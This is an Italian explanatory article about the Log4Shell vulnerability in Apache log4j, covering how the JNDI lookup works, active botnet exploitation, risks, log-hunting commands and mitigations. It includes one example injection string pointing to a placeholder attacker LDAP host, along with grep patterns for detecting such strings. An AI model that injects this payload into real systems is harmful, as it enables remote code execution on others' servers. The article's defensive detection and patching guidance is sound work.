Una delle vulnerabilità più importanti del 2021: così mi sentirei di definire la CVE-2021-44228 anche comunemente denominata Log4Shell, la nota vulnerabilità rilasciata pubblicamente il 10 dicembre del 2021 che affligge la libreria log4j realizzata da Apache, dalla versione 2.0 alla 2.14.1.
La libreria Java, utilizzata per gestire le operazioni di logging in moltissime applicazioni aziendali, siti web e servizi online, è stata prontamente aggiornata alla versione 2.15.0 ed è quindi importantissimo applicare la patch il prima possibile, come vedremo più avanti, per mitigare il rischio.
Anche perché, come segnalato dal CSIRT Italia, è già disponibile un PoC (Proof of Concept) e sono state rilevate scansioni in cerca di server vulnerabili che lasciano prevedere uno sfruttamento massivo del difetto di sicurezza in rete che, se sfruttato, potrebbe consentire ad un attaccante remoto di ottenere un accesso persistente alla macchina target.
Il bug Log4J minaccia mezza internet: ecco il fix urgente per le aziende
Indice degli argomenti
Cos’è e a cosa serve la libreria log4j
In prima istanza, è importante comprendere cosa sia log4j e perché sia così diffusa nel 2021. Log4J è una libreria di logging utilizzata in ambiente Java, un linguaggio di programmazione molto utilizzato grazie alla sua capacità di essere agnostico rispetto al sistema operativo su cui esso è installato.
Java è soventemente utilizzato sia per la realizzazione di sistemi Enterprise sia in meno complessi, ma estremamente diffusi, sistemi mobile. Più di due miliardi di oggetti utilizzano oggi Java e molti di essi implementano un sistema di logging attraverso Apache log4j.
Ogni applicazione possiede un sistema di logging creato appositamente per monitorare lo stato dell’applicazione e per comprendere eventuali errori o cattivi funzionamenti.
In questo scenario log4j è una delle librerie più utilizzate in quanto implementa un sistema di tagging capace di contestualizzare il messaggio di “log” agevolando notevolmente lo sviluppatore di software.
In altre parole, alcuni caratteri speciali del tipo “{$TAG}” vengono interpretati direttamente dalla libreria e sostituiti con informazioni richieste. Per esempio (a titolo esemplificativo non realistico) “{$data}” viene sostituito dalla libreria con la data in cui viene vista la stringa “{$data}”.
Dove si nasconde la vulnerabilità Log4Shell
Questa capacità, distintiva di log4j, è anche responsabile della vulnerabilità Log4Shell individuata.
Un attaccante, sfruttando un input non ben validato può iniettare all’interno del messaggio di log un tag appositamente forgiato imponendo una specifica interpretazione da parte della libreria. Il tag in oggetto è chiamato JNDI (Java Naming and Directory Interface) e può essere utilizzato per caricare codice da remoto. Per esempio all’interno del tag JNDI può essere richiesto di eseguire codice attraverso numerosi protocolli di comunicazione come per esempio: LDAP, COBRA, COS, RMI ed infine DNS.
Sotto questo aspetto l’attaccante può forgiare una stringa di log forzando la libreria, attraverso il tag JNDI, a caricare ed eseguire codice ospitato su un altro sistema, fuori dal dominio in cui è installato l’applicativo. In questo modo l’attaccante può controllare l’esecuzione di codice sulla macchina vittima prendendone un accesso persistente.
Una stringa di esempio può essere la seguente:
${jndi:ldap://malicious_ldap_ip:1389/malware}
In questo caso, log4j cercherà di eseguire codice (opportunamente creato) denominato “malware” ospitato in “malicious_ldap_ip” sulla porta “1389” attraverso il protocollo di comunicazione LDAP.
L’indirizzo “malicious_ldap_ip” è un server in mano all’attaccante ove ha pubblicato antecedentemente alla propagazione della stringa malevola un codice opportunamente creato dipendente dai propri intenti.
Chi sta utilizzando la vulnerabilità Log4Shell
Alla data del 12 dicembre 2021, Yoroi ha evidenze di botnet quali Mirai e Kinsing che attivamente e in modo automatico utilizzano tale vulnerabilità.
Ad oggi, lo stato principale di infezione coinvolge cryptominers ma non si può escludere che tale exploit venga velocemente adottato da threat actor più sofisticati e successivamente utilizzato per diffondere ransomware.
Vulnerabilità Log4Shell: cosa si rischia
Per comprendere qual è il rischio complessivo è necessario comprendere quali sono le entità a rischio. Ad oggi si osservano principalmente (ma non esclusivamente) due tipologie di entità a rischio: le imprese e i cittadini.
Le imprese vedono come rischio l’abuso della propria tecnologia (esempio cryptominers) ma anche la possibilità di aprire le porte ad attaccanti più sofisticati in cerca di facili ingressi al perimetro per poi copiare dati sensibili ed eventualmente avviare attività di estorsione digitale (ad esempio: ransomware).
Il cittadino rischia la perdita di dati e controllo digitale diretto o indiretto. La perdita di dati indiretta avviene qualora un attaccante compromettesse, a causa di tale vulnerabilità, un server il quale ospita dati del cittadino, per esempio un e-commerce, una piattaforma sociale, una chat e via dicendo. Il controllo diretto, invece, comporta lo sfruttamento della vulnerabilità direttamente sul dispositivo del cittadino che diverrebbe uno “zombie” in mano dell’attaccante.
Come scoprire se si è vulnerabili
Comprendere se si è vulnerabili alla CVE-2021-44228 può apparire semplice: è infatti necessario verificare l’utilizzo della libreria log4j all’interno del perimetro desiderato.
Tale verifica, tuttavia, non è affatto semplice per due motivi principali:
- la complessità e la rispettiva numerosità dei sistemi software utilizzati ad oggi;
- la complessità nel verificare la presenza della libreria in un sistema di librerie innestate come quello adottato da Java.
Effettivamente, la grande comodità di librerie innestate e il loro utilizzo in modalità atomica all’interno di un unico package (.JAR) risulta molto comodo per la programmazione ma complica notevolmente la ricerca di una specifica libreria in cui vi sia la necessità di sostituirla o aggiornarla.
In questa fase si suggeriscono due approcci di verifica: (1)
- proattivo, ovvero cercare all’interno dei propri sistemi informativi tale libreria prima di comprendere se un attaccante abbia precedentemente tentato di farlo;
- reattivo, ovvero cercare all’interno dei logs di sistema e applicativi quali siano stati i tentativi effettuati da terzi (attaccanti) al fine di comprendere quali infrastrutture (o software) andare a verificare in prima istanza.
Nel caso di un’organizzazione Enterprise il suggerimento è quello di affrontare il problema con due team in modalità contemporanea.
Rilevare possibili tentativi di sfruttamento su Linux
Il team 1 può utilizzare uno strumento open source chiamato SYFT avviandolo in modalità massiva (da valutare impatti prima di farlo). Tale strumento permette di creare una SBOM (Software Bill of Materials) raccogliendo tutte le librerie utilizzate da un container, da un immagine o da una o più directory.
Attraverso la SBOM è quindi possibile successivamente comprendere quali applicazioni stanno utilizzando log4j e valutarne gli impatti.
Parallelamente, il team2 può effettuare hunting sui logs di sistema e/o applicativi utilizzando semplici termini di ricerca come per esempio:
Ricerca dell’exploit non offuscato:
sudo egrep -I -i -r ‘$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^n]+’ /var/log
Questo, invece, è un esempio di ricerca dell’exploit offuscato:
sudo find /var/log/ -type f -exec sh -c “cat {} | sed -e ‘s/${lower://’g | tr -d ‘}’ | egrep -I -i ‘jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'” ;
Attraverso il match di tali regole su logs applicativi si può comprendere quale sia il perimetro raggiungibile dall’attaccante ed eventualmente avviare un processo di contenimento (attraverso filtraggio e/o esclusione).
Rilevare possibili tentativi di sfruttamento su Windows
Per scoprire se i propri sistemi Windows sono esposti alla vulnerabilità Log4Shell è invece possibile seguire le indicazioni riportate nella guida Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation pubblicata da Microsoft.
Il portale su Log4Shell dedicato ai penetration tester
Infine per i penetration testers oppure per tutti coloro che sono alla ricerca di applicazioni vulnerabili all’interno della propria organizzazione, si suggerisce l’utilizzo del portale Huntress Log4Shell Vulnerability Tester che offre un comodo e veloce sistema per il testing remoto.
Si suggerisce, tuttavia, di commissionare esperti e professionisti del settore prima di avanzare auto-diagnosi al fine di evitare problemi di disservizi e di indebolimento del perimetro.
Come mitigare il rischio della vulnerabilità Log4Shell
Il CSIRT Italia ha inoltre riportato le azioni di mitigazioni della vulnerabilità Log4Shell nel caso in cui non fosse possibile aggiornare la libreria Java log4j:
- innanzitutto, occorre impostare le seguenti proprietà:
- log4j2.formatMsgNoLookups=true
- LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- quindi, rimuovere la classe JndiLookup dal path delle classi:
- zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- infine, occorre impostare le seguenti proprietà in Java 8u121:
- com.sun.jndi.rmi.object.trustURLCodebase
- com.sun.jndi.cosnaming.object.trustURLCodebase=false
È opportuno, inoltre, valutare l’implementazione nei propri apparati di sicurezza degli IoC (indici di compromissione) disponibili qui e qui.
Conclusione
Tale vulnerabilità apre uno scenario molto più ampio: ovvero l’utilizzo libero di software esterno (terze parti).
Esiste un limite nella fiducia che abbiamo verso software esterni? Chi dovrebbe essere imputato della verifica di software open source prima di utilizzarlo? È forse possibile riscrivere tutto e sempre in autonomia?
Queste solo alcune delle domande a cui presto saremo chiamati a dare risposta.
